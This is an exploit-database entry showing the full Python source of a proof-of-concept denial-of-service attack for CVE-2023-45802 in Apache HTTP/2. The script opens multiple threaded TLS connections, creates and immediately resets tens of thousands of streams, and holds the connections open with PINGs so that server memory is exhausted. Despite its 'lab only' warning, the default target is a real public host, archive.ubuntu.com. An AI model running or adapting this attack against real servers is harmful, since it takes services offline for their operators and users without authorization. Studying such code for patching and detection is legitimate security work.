Exploit database

GH-f276adc1f2dd9422f4f8f6edfdd12f4d

mehranturk/cve-2023-45802

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2023-45802

1 source

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars.

Repository files2
mehranturk/cve-2023-45802Revision ab72a67824b7

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

CVE-2023-45802.py

Python · 8,149 bytes
#!/usr/bin/env python3
"""
CVE-2023-45802 - Apache HTTP/2 Memory Exhaustion DoS
Apache versions: 2.4.17 through 2.4.57
Target: Apache/2.4.52 (Ubuntu) - VULNERABLE
MehranTurk (M.T)
WARNING: For authorized testing in LAB environment only!
"""

import socket
import ssl
import time
import sys
import threading
from h2.connection import H2Connection
from h2.config import H2Configuration
from h2.events import DataReceived, StreamEnded, WindowUpdated, SettingsAcknowledged
from h2.errors import ErrorCodes
from h2.exceptions import StreamClosedError


class HTTP2MemoryExhaustion:
    def __init__(self, target_host, target_port=443):
        self.target_host = target_host
        self.target_port = target_port
        self.socket = None
        self.conn = None
        
    def connect(self):
        """Create TCP connection with TLS wrapper"""
        # Create raw TCP socket
        raw_sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        raw_sock.settimeout(10)
        raw_sock.connect((self.target_host, self.target_port))
        
        # Wrap with TLS (required for HTTP/2)
        context = ssl.create_default_context()
        context.set_alpn_protocols(['h2'])
        context.check_hostname = False
        context.verify_mode = ssl.CERT_NONE
        #context.check_hostname = True
        #context.verify_mode = ssl.CERT_REQUIRED
        
        self.socket = context.wrap_socket(raw_sock, server_hostname=self.target_host)
        
        # Verify ALPN negotiation
        negotiated_protocol = self.socket.selected_alpn_protocol()
        if negotiated_protocol != 'h2':
            print(f"[-] ALPN negotiation failed. Got: {negotiated_protocol}")
            return False
            
        # Initialize HTTP/2 connection
        config = H2Configuration(client_side=True, header_encoding='utf-8')
        self.conn = H2Connection(config=config)
        self.conn.initiate_connection()
        self.socket.sendall(self.conn.data_to_send())
        
        print(f"[+] Connected to {self.target_host}:{self.target_port} with HTTP/2")
        return True
    
    def rapid_reset_attack(self, num_streams=50000):
        """
        Send rapid streams with immediate RST_STREAM frames
        This causes memory leak in vulnerable Apache versions
        """
        streams_created = 0
        
        try:
            for i in range(num_streams):
                try:
                    # Create new stream
                    stream_id = self.conn.get_next_available_stream_id()
                    
                    # Send HEADERS frame
                    headers = [
                        (':method', 'GET'),
                        (':path', '/'),
                        (':scheme', 'https'),
                        (':authority', self.target_host),
                    ]
                    self.conn.send_headers(stream_id, headers, end_stream=False)
                    
                    # Immediately reset the stream
                    self.conn.reset_stream(stream_id, error_code=ErrorCodes.CANCEL)
                    
                    # Send data to server
                    data = self.conn.data_to_send()
                    if data:
                        self.socket.sendall(data)
                    
                    streams_created += 1
                    
                    # Progress indicator
                    if streams_created % 1000 == 0:
                        print(f"[*] Created and reset {streams_created} streams...")
                    
                    # Small delay to prevent overwhelming local network
                    if streams_created % 100 == 0:
                        time.sleep(0.001)
                        
                except StreamClosedError:
                    continue
                except Exception as e:
                    print(f"[!] Stream error: {e}")
                    continue
                    
        except Exception as e:
            print(f"[!] Attack error: {e}")
        
        return streams_created
    
    def keep_alive(self, duration_seconds=60):
        """
        Keep connection alive to prevent garbage collection
        This is crucial - memory is freed only when connection closes
        """
        print(f"[*] Keeping connection alive for {duration_seconds} seconds...")
        
        # Send periodic PING frames to keep connection active
        ping_data = b'\x00' * 8
        self.conn.ping(ping_data)
        self.socket.sendall(self.conn.data_to_send())
        
        start_time = time.time()
        while time.time() - start_time < duration_seconds:
            # Read any incoming data to keep connection responsive
            try:
                data = self.socket.recv(65535)
                if data:
                    events = self.conn.receive_data(data)
                    for event in events:
                        if isinstance(event, SettingsAcknowledged):
                            # Server acknowledged our settings
                            pass
            except socket.timeout:
                pass
            except Exception:
                break
                
            # Send keep-alive PING every 10 seconds
            if int(time.time() - start_time) % 10 == 0:
                self.conn.ping(ping_data)
                self.socket.sendall(self.conn.data_to_send())
            
            time.sleep(1)
    
    def close(self):
        """Clean up connection"""
        if self.conn:
            try:
                self.conn.close_connection()
                if self.socket:
                    self.socket.sendall(self.conn.data_to_send())
            except:
                pass
        if self.socket:
            self.socket.close()
        print("[+] Connection closed")


def single_attack_thread(target_host, num_streams=30000, keep_alive_duration=60):
    """Run attack in a single thread"""
    attacker = HTTP2MemoryExhaustion(target_host)
    
    if attacker.connect():
        print(f"[+] Starting Rapid Reset attack with {num_streams} streams...")
        streams_sent = attacker.rapid_reset_attack(num_streams)
        print(f"[+] Sent {streams_sent} reset streams")
        
        # CRITICAL: Keep connection open to prevent memory deallocation
        attacker.keep_alive(keep_alive_duration)
        
        attacker.close()
    else:
        print("[-] Failed to establish HTTP/2 connection")


def multi_thread_attack(target_host, num_threads=5, streams_per_thread=20000):
    """
    Launch multiple concurrent connections to amplify the effect
    """
    print(f"\n[!] Launching DoS attack on {target_host}")
    print(f"[!] Threads: {num_threads} | Streams per thread: {streams_per_thread}")
    print(f"[!] Total streams: {num_threads * streams_per_thread}")
    print(f"[!] Press Ctrl+C to stop\n")
    
    threads = []
    
    def attack_wrapper():
        single_attack_thread(target_host, streams_per_thread, keep_alive_duration=90)
    
    for i in range(num_threads):
        t = threading.Thread(target=attack_wrapper, name=f"Attacker-{i+1}")
        t.daemon = True
        t.start()
        threads.append(t)
        time.sleep(0.5)  # Stagger connection attempts
    
    try:
        for t in threads:
            t.join(timeout=120)
    except KeyboardInterrupt:
        print("\n[!] Attack stopped by user")


if __name__ == "__main__":
    # TARGET CONFIGURATION
    TARGET_HOST = "archive.ubuntu.com"  # Replace with your lab target IP
    TARGET_PORT = 443
    
    # ATTACK PARAMETERS (adjust based on your lab environment)
    NUM_THREADS = 5          # Number of parallel connections
    STREAMS_PER_THREAD = 20000  # Streams per connection
    
    print("=" * 60)
    print("CVE-2023-45802 - Apache HTTP/2 Memory Exhaustion DoS")
    print("Target: Apache/2.4.52 (Ubuntu)")
    print("=" * 60)
    print("\n[!] WARNING: Use only in authorized LAB environment!")
    print(f"[!] Target: {TARGET_HOST}:{TARGET_PORT}")
    print("[!] Press Ctrl+C to abort within 5 seconds...")
    time.sleep(5)
    
    multi_thread_attack(TARGET_HOST, NUM_THREADS, STREAMS_PER_THREAD)